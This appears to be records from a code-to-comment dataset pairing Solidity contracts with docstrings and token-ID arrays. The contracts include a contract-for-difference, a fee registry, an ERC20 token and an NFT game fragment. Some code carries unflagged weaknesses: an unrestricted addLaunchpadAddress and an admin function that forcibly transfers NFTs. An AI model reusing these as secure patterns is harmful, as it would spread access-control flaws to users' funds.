AssetPriceRecorded(assetId, blockNumber, price); } function getAssetPrice(uint128 assetId, uint128 blockNumber) public view returns (uint128 price) { AssetPriceRecord storage priceRecord = assetPriceRecords[assetId][blockNumber]; require(priceRecord.isRecord); return priceRecord.price; } function () public { // dont receive ether via fallback method (by not having 'payable' modifier on this function). } } // File: contracts/lib/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error * Source: https://github.com/facuspagnuolo/zeppelin-solidity/blob/feature/705_add_safe_math_int_ops/contracts/math/SafeMath.sol */ library SafeMath { /** * @dev Multiplies two unsigned integers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Multiplies two signed integers, throws on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } int256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two unsigned integers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Integer division of two signed integers, truncating the quotient. */ function div(int256 a, int256 b) internal pure returns (int256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // Overflow only happens when the smallest negative int is multiplied by -1. int256 INT256_MIN = int256((uint256(1) << 255)); assert(a != INT256_MIN || b != -1); return a / b; } /** * @dev Subtracts two unsigned integers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Subtracts two signed integers, throws on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; assert((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } /** * @dev Adds two signed integers, throws on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; assert((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } } // File: contracts/ContractForDifference.sol contract ContractForDifference is DSAuth { using SafeMath for int256; enum Position { Long, Short } /** * A party to the contract. Either the maker or the taker. */ struct Party { address addr; uint128 withdrawBalance; // Amount the Party can withdraw, as a result of settled contract. Position position; bool isPaid; } struct Cfd { Party maker; Party taker; uint128 assetId; uint128 amount; // in Wei. uint128 contractStartBlock; // Block number uint128 contractEndBlock; // Block number // CFD state variables bool isTaken; bool isSettled; bool isRefunded; } uint128 public leverage = 1; // Global leverage of the CFD contract. AssetPriceOracle public priceOracle; mapping(uint128 => Cfd) public contracts; uint128 public numberOfContracts; event LogMakeCfd ( uint128 indexed cfdId, address indexed makerAddress, Position indexed makerPosition, uint128 assetId, uint128 amount, uint128 contractEndBlock); event LogTakeCfd ( uint128 indexed cfdId, address indexed makerAddress, Position makerPosition, address indexed takerAddress, Position takerPosition, uint128 assetId, uint128 amount, uint128 contractStartBlock, uint128 contractEndBlock); event LogCfdSettled ( uint128 indexed cfdId, address indexed makerAddress, address indexed takerAddress, uint128 amount, uint128 startPrice, uint128 endPrice, uint128 makerSettlement, uint128 takerSettlement); event LogCfdRefunded ( uint128 indexed cfdId, address indexed makerAddress, uint128 amount); event LogCfdForceRefunded ( uint128 indexed cfdId, address indexed makerAddress, uint128 makerAmount, address indexed takerAddress, uint128 takerAmount); event LogWithdrawal ( uint128 indexed cfdId, address indexed withdrawalAddress, uint128 amount); // event Debug ( // string description, // uint128 uintValue, // int128 intValue // ); constructor(address priceOracleAddress) public { priceOracle = AssetPriceOracle(priceOracleAddress); } function makeCfd( address makerAddress, uint128 assetId, Position makerPosition, uint128 contractEndBlock ) public payable returns (uint128) { require(contractEndBlock > block.number); // Contract end block must be after current block. require(msg.value > 0); // Contract Wei amount must be more than zero - contracts for zero Wei does not make sense. require(makerAddress != address(0)); // Maker must provide a non-zero address. uint128 contractId = numberOfContracts; /** * Initialize CFD struct using tight variable packing pattern. * See https://fravoll.github.io/solidity-patterns/tight_variable_packing.html */ Party memory maker = Party(makerAddress, 0, makerPosition, false); Party memory taker = Party(address(0), 0, Position.Long, false); Cfd memory newCfd = Cfd( maker, taker, assetId, uint128(msg.value), 0, contractEndBlock, false, false, false ); contracts[contractId] = newCfd; // contracts[contractId].maker.addr = makerAddress; // contracts[contractId].maker.position = makerPosition; // contracts[contractId].assetId = assetId; // contracts[contractId].amount = uint128(msg.value); // contracts[contractId].contractEndBlock = contractEndBlock; numberOfContracts++; emit LogMakeCfd( contractId, contracts[contractId].maker.addr, contracts[contractId].maker.position, contracts[contractId].assetId, contracts[contractId].amount, contracts[contractId].contractEndBlock ); return contractId; } function getCfd( uint128 cfdId ) public view returns (address makerAddress, Position makerPosition, address takerAddress, Position takerPosition, uint128 assetId, uint128 amount, uint128 startTime, uint128 endTime, bool isTaken, bool isSettled, bool isRefunded) { Cfd storage cfd = contracts[cfdId]; return ( cfd.maker.addr, cfd.maker.position, cfd.taker.addr, cfd.taker.position, cfd.assetId, cfd.amount, cfd.contractStartBlock, cfd.contractEndBlock, cfd.isTaken, cfd.isSettled, cfd.isRefunded ); } function takeCfd( uint128 cfdId, address takerAddress ) public payable returns (bool success) { Cfd storage cfd = contracts[cfdId]; require(cfd.isTaken != true); // Contract must not be taken. require(cfd.isSettled != true); // Contract must not be settled. require(cfd.isRefunded != true); // Contract must not be refunded. require(cfd.maker.addr != address(0)); // Contract must have a maker, require(cfd.taker.addr == address(0)); // and no taker. // require(takerAddress != cfd.maker.addr); // Maker and Taker must not be the same address. (disabled for now) require(msg.value == cfd.amount); // Takers deposit must match makers deposit. require(takerAddress != address(0)); // Taker must provide a non-zero address. require(block.number <= cfd.contractEndBlock); // Taker must take contract before end block. cfd.taker.addr = takerAddress; // Make taker position the inverse of maker position cfd.taker.position = cfd.maker.position == Position.Long ? Position.Short : Position.Long; cfd.contractStartBlock = uint128(block.number); cfd.isTaken = true; emit LogTakeCfd( cfdId, cfd.maker.addr, cfd.maker.position, cfd.taker.addr, cfd.taker.position, cfd.assetId, cfd.amount, cfd.contractStartBlock, cfd.contractEndBlock ); return true; } function settleAndWithdrawCfd( uint128 cfdId ) public { address makerAddr = contracts[cfdId].maker.addr; address takerAddr = contracts[cfdId].taker.addr; settleCfd(cfdId); withdraw(cfdId, makerAddr); withdraw(cfdId, takerAddr); } function settleCfd( uint128 cfdId ) public returns (bool success) { Cfd storage cfd = contracts[cfdId]; require(cfd.contractEndBlock <= block.number); // Contract must have met its end time. require(!cfd.isSettled); // Contract must not be settled already. require(!cfd.isRefunded); // Contract must not be refunded. require(cfd.isTaken); // Contract must be taken. require(cfd.maker.addr != address(0)); // Contract must have a maker address. require(cfd.taker.addr != address(0)); // Contract must have a taker address. // Get relevant variables uint128 amount = cfd.amount; uint128 startPrice = priceOracle.getAssetPrice(cfd.assetId, cfd.contractStartBlock); uint128 endPrice = priceOracle.getAssetPrice(cfd.assetId, cfd.contractEndBlock); /** * Register settlements for maker and taker. * Maker recieves any leftover wei from integer division. */ uint128 takerSettlement = getSettlementAmount(amount, startPrice, endPrice, cfd.taker.position); if (takerSettlement > 0) { cfd.taker.withdrawBalance = takerSettlement; } uint128 makerSettlement = (amount * 2) - takerSettlement; cfd.maker.withdrawBalance = makerSettlement; // Mark contract as settled. cfd.isSettled = true; emit LogCfdSettled ( cfdId, cfd.maker.addr, cfd.taker.addr, amount, startPrice, endPrice, makerSettlement, takerSettlement ); return true; } function withdraw( uint128 cfdId, address partyAddress ) public { Cfd storage cfd = contracts[cfdId]; Party storage party = partyAddress == cfd.maker.addr ? cfd.maker : cfd.taker; require(party.withdrawBalance > 0); // The party must have a withdraw balance from previous settlement. require(!party.isPaid); // The party must have already been paid out, fx from a refund. uint128 amount = party.withdrawBalance; party.withdrawBalance = 0; party.isPaid = true; party.addr.transfer(amount); emit LogWithdrawal( cfdId, party.addr, amount ); } function getSettlementAmount( uint128 amountUInt, uint128 entryPriceUInt, uint128 exitPriceUInt, Position position ) public view returns (uint128) { require(position == Position.Long || position == Position.Short); // If price didn't change, settle for equal amount to long and short. if (entryPriceUInt == exitPriceUInt) {return amountUInt;} // If entry price is 0 and exit price is more than 0, all must go to long position and nothing to short. if (entryPriceUInt == 0 && exitPriceUInt > 0) { return position == Position.Long ? amountUInt * 2 : 0; } // Cast uint128 to int256 to support negative numbers and increase over- and underflow limits int256 entryPrice = int256(entryPriceUInt); int256 exitPrice = int256(exitPriceUInt); int256 amount = int256(amountUInt); // Price diff calc depends on which position we are calculating settlement for. int256 priceDiff = position == Position.Long ? exitPrice.sub(entryPrice) : entryPrice.sub(exitPrice); int256 settlement = amount.add(priceDiff.mul(amount).mul(leverage).div(entryPrice)); if (settlement < 0) { return 0; // Calculated settlement was negative. But a party can't lose more than his deposit, so he's just awarded 0. } else if (settlement > amount * 2) { return amountUInt * 2; // Calculated settlement was more than the total deposits, so settle for the total deposits. } else { return uint128(settlement); // Settlement was more than zero and less than sum of deposit amounts, so we can settle it as is. } } function refundCfd( uint128 cfdId ) public returns (bool success) { Cfd storage cfd = contracts[cfdId]; require(!cfd.isSettled); // Contract must not be settled already. require(!cfd.isTaken); // Contract must not be taken. require(!cfd.isRefunded); // Contract must not be refunded already. require(msg.sender == cfd.maker.addr); // Function caller must be the contract maker. cfd.isRefunded = true; cfd.maker.isPaid = true; cfd.maker.addr.transfer(cfd.amount); emit LogCfdRefunded( cfdId, cfd.maker.addr, cfd.amount ); return true; } function forceRefundCfd( uint128 cfdId ) public auth { Cfd storage cfd = contracts[cfdId]; require(!cfd.isRefunded); // Contract must not be refunded already. cfd.isRefunded = true; // Refund Taker uint128 takerAmount = 0; if (cfd.taker.addr != address(0)) { takerAmount = cfd.amount; cfd.taker.withdrawBalance = 0; // Refunding must reset withdraw balance, if any. cfd.taker.addr.transfer(cfd.amount); } // Refund Maker cfd.maker.withdrawBalance = 0; // Refunding must reset withdraw balance, if any. cfd.maker.addr.transfer(cfd.amount); emit LogCfdForceRefunded( cfdId, cfd.maker.addr, cfd.amount, cfd.taker.addr, takerAmount ); } function () public { // dont receive ether via fallback method (by not having 'payable' modifier on this function). } }
Get relevant variables* Register settlements for maker and taker. Maker recieves any leftover wei from integer division./
function settleCfd( uint128 cfdId ) public returns (bool success) { Cfd storage cfd = contracts[cfdId]; uint128 amount = cfd.amount; uint128 startPrice = priceOracle.getAssetPrice(cfd.assetId, cfd.contractStartBlock); uint128 endPrice = priceOracle.getAssetPrice(cfd.assetId, cfd.contractEndBlock); uint128 takerSettlement = getSettlementAmount(amount, startPrice, endPrice, cfd.taker.position); if (takerSettlement > 0) { cfd.taker.withdrawBalance = takerSettlement; } uint128 makerSettlement = (amount * 2) - takerSettlement; cfd.maker.withdrawBalance = makerSettlement; emit LogCfdSettled ( cfdId, cfd.maker.addr, cfd.taker.addr, amount, startPrice, endPrice, makerSettlement, takerSettlement ); return true; }
12,680,606
[ 1, 967, 9368, 3152, 5433, 26319, 806, 87, 364, 312, 6388, 471, 268, 6388, 18, 490, 6388, 1950, 1385, 3324, 1281, 29709, 732, 77, 628, 3571, 16536, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 5929, 39, 8313, 12, 203, 3639, 2254, 10392, 6080, 72, 548, 203, 3639, 262, 203, 3639, 1071, 203, 3639, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 385, 8313, 2502, 6080, 72, 273, 20092, 63, 71, 8313, 548, 15533, 203, 203, 203, 3639, 2254, 10392, 3844, 273, 6080, 72, 18, 8949, 31, 203, 3639, 2254, 10392, 787, 5147, 273, 6205, 23601, 18, 588, 6672, 5147, 12, 71, 8313, 18, 9406, 548, 16, 6080, 72, 18, 16351, 1685, 1768, 1769, 203, 3639, 2254, 10392, 679, 5147, 273, 6205, 23601, 18, 588, 6672, 5147, 12, 71, 8313, 18, 9406, 548, 16, 6080, 72, 18, 16351, 1638, 1768, 1769, 203, 203, 3639, 2254, 10392, 268, 6388, 694, 88, 806, 273, 336, 694, 88, 806, 6275, 12, 8949, 16, 787, 5147, 16, 679, 5147, 16, 6080, 72, 18, 88, 6388, 18, 3276, 1769, 203, 3639, 309, 261, 88, 6388, 694, 88, 806, 405, 374, 13, 288, 203, 5411, 6080, 72, 18, 88, 6388, 18, 1918, 9446, 13937, 273, 268, 6388, 694, 88, 806, 31, 203, 3639, 289, 203, 203, 3639, 2254, 10392, 312, 6388, 694, 88, 806, 273, 261, 8949, 380, 576, 13, 300, 268, 6388, 694, 88, 806, 31, 203, 3639, 6080, 72, 18, 29261, 18, 1918, 9446, 13937, 273, 312, 6388, 694, 88, 806, 31, 203, 203, 203, 3639, 3626, 1827, 39, 8313, 694, 88, 1259, 261, 203, 5411, 6080, 72, 548, 16, 203, 5411, 6080, 72, 18, 29261, 18, 4793, 16, 203, 5411, 6080, 72, 18, 88, 6388, 18, 4793, 16, 203, 2 ]
// SPDX-License-Identifier: MIT //** Meliora Crowfunding Contract*/ //** Author Alex Hong : Meliora Finance 2021.5 */ pragma solidity 0.6.6; pragma experimental ABIEncoderV2; import "./libraries/Ownable.sol"; contract MelioraInfo is Ownable { uint256 private devFeePercentage = 1; uint256 private minDevFeeInWei = 1 ether; address[] private launchpadAddresses; /** * * @dev add launchpage adress to the pool * */ function addLaunchpadAddress(address _launchapd) external returns (uint256) { launchpadAddresses.push(_launchapd); return launchpadAddresses.length - 1; } /** * * @dev get launchpad count * */ function getLaunchpadCount() external view returns (uint256) { return launchpadAddresses.length; } /** * * @dev get launchpad address * */ function getLaunchpadAddress(uint256 launchId) external view returns (address) { return launchpadAddresses[launchId]; } /** * * @dev get allocated percentage * */ function getDevFeePercentage() external view returns (uint256) { return devFeePercentage; } /** * * @dev set custom fee percent * */ function setDevFeePercentage(uint256 _devFeePercentage) external onlyOwner { devFeePercentage = _devFeePercentage; } /** * * @dev get minimum dev fee * */ function getMinDevFeeInWei() external view returns (uint256) { return minDevFeeInWei; } /** * * @dev set minimum dev fee * */ function setMinDevFeeInWei(uint256 _minDevFeeInWei) external onlyOwner { minDevFeeInWei = _minDevFeeInWei; } }
* @dev get minimum dev fee/
function getMinDevFeeInWei() external view returns (uint256) { return minDevFeeInWei; }
5,521,941
[ 1, 588, 5224, 4461, 14036, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 9555, 8870, 14667, 382, 3218, 77, 1435, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 1131, 8870, 14667, 382, 3218, 77, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-08-05 */ /** *Submitted for verification at Etherscan.io on 2018-06-12 */ pragma solidity ^0.4.24; //**************************** INTERFACE *************************************** interface ERC20 { function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function transfer(address _to, uint256 _value) external returns (bool); function balanceOf(address _owner) external constant returns (uint256); function allowance(address _owner, address _spender) external returns (uint256); function approve(address _spender, uint256 _value) external returns (bool); event Approval(address indexed _owner, address indexed _spender, uint256 _val); event Transfer(address indexed _from, address indexed _to, uint256 _val); } //***************************** CONTRACT *************************************** contract AKcoin is ERC20 { uint256 public totalSupply; uint public decimals; string public symbol; string public name; mapping (address => mapping (address => uint256)) approach; mapping (address => uint256) holders; //***************************** REVERT IF ETHEREUM SEND ************************ function () public { revert(); } //***************************** CHECK BALANCE ********************************** function balanceOf(address _own) public view returns (uint256) { return holders[_own]; } //***************************** TRANSFER TOKENS FROM YOUR ACCOUNT ************** function transfer(address _to, uint256 _val) public returns (bool) { require(holders[msg.sender] >= _val); require(msg.sender != _to); assert(_val <= holders[msg.sender]); holders[msg.sender] = holders[msg.sender] - _val; holders[_to] = holders[_to] + _val; assert(holders[_to] >= _val); emit Transfer(msg.sender, _to, _val); return true; } //**************************** TRANSFER TOKENS FROM ANOTHER ACCOUNT ************ function transferFrom(address _from, address _to, uint256 _val) public returns (bool) { require(holders[_from] >= _val); require(approach[_from][msg.sender] >= _val); assert(_val <= holders[_from]); holders[_from] = holders[_from] - _val; assert(_val <= approach[_from][msg.sender]); approach[_from][msg.sender] = approach[_from][msg.sender] - _val; holders[_to] = holders[_to] + _val; assert(holders[_to] >= _val); emit Transfer(_from, _to, _val); return true; } //***************************** APPROVE TOKENS TO SEND ************************* function approve(address _spender, uint256 _val) public returns (bool) { require(holders[msg.sender] >= _val); approach[msg.sender][_spender] = _val; emit Approval(msg.sender, _spender, _val); return true; } //***************************** CHECK APPROVE ********************************** function allowance(address _owner, address _spender) public view returns (uint256) { return approach[_owner][_spender]; } //***************************** CONSTRUCTOR CONTRACT *************************** constructor() public { symbol = "AKC"; name = "AKcoin"; decimals = 18; totalSupply = 100000000* 1000000000000000000; holders[msg.sender] = totalSupply; } }
***************************** CONSTRUCTOR CONTRACT ***************************
constructor() public { symbol = "AKC"; name = "AKcoin"; decimals = 18; totalSupply = 100000000* 1000000000000000000; holders[msg.sender] = totalSupply; }
7,750,945
[ 1, 26935, 916, 8020, 2849, 1268, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12316, 1435, 1071, 288, 203, 7175, 273, 315, 14607, 39, 14432, 203, 529, 273, 315, 14607, 12645, 14432, 203, 31734, 273, 6549, 31, 203, 4963, 3088, 1283, 273, 2130, 9449, 14, 2130, 12648, 12648, 31, 203, 9000, 63, 3576, 18, 15330, 65, 273, 2078, 3088, 1283, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xfA22740d9A87e7d8c37C2D271A48Ce4def2d121E/sources/contracts/AliensNFT.sol
Turn the game off (only for admin)
function switchGameStatus() public isAdmin { require(getStatusGame(), "Aliens NFT: The game has already stopped"); for (uint i = 0; i < _holders.length; i++) { uint tokenId = _holders[i].tokenId; address to = _holders[i].holderAddress; _transfer(ownerOf(tokenId), to, tokenId); } GAME_IN_PROCESS = false; }
9,752,843
[ 1, 15858, 326, 7920, 3397, 261, 3700, 364, 3981, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1620, 12496, 1482, 1435, 1071, 23467, 288, 203, 3639, 2583, 12, 588, 1482, 12496, 9334, 315, 37, 549, 773, 423, 4464, 30, 1021, 7920, 711, 1818, 9627, 8863, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 389, 9000, 18, 2469, 31, 277, 27245, 288, 203, 5411, 2254, 1147, 548, 273, 389, 9000, 63, 77, 8009, 2316, 548, 31, 203, 5411, 1758, 358, 273, 389, 9000, 63, 77, 8009, 4505, 1887, 31, 203, 203, 5411, 389, 13866, 12, 8443, 951, 12, 2316, 548, 3631, 358, 16, 1147, 548, 1769, 203, 3639, 289, 203, 203, 3639, 611, 1642, 67, 706, 67, 16560, 273, 629, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0xF42c063Ecb117d46Ad3082382F8dD6aD89Ca1324/sources/UFarm.sol
UBUToken with Governance.
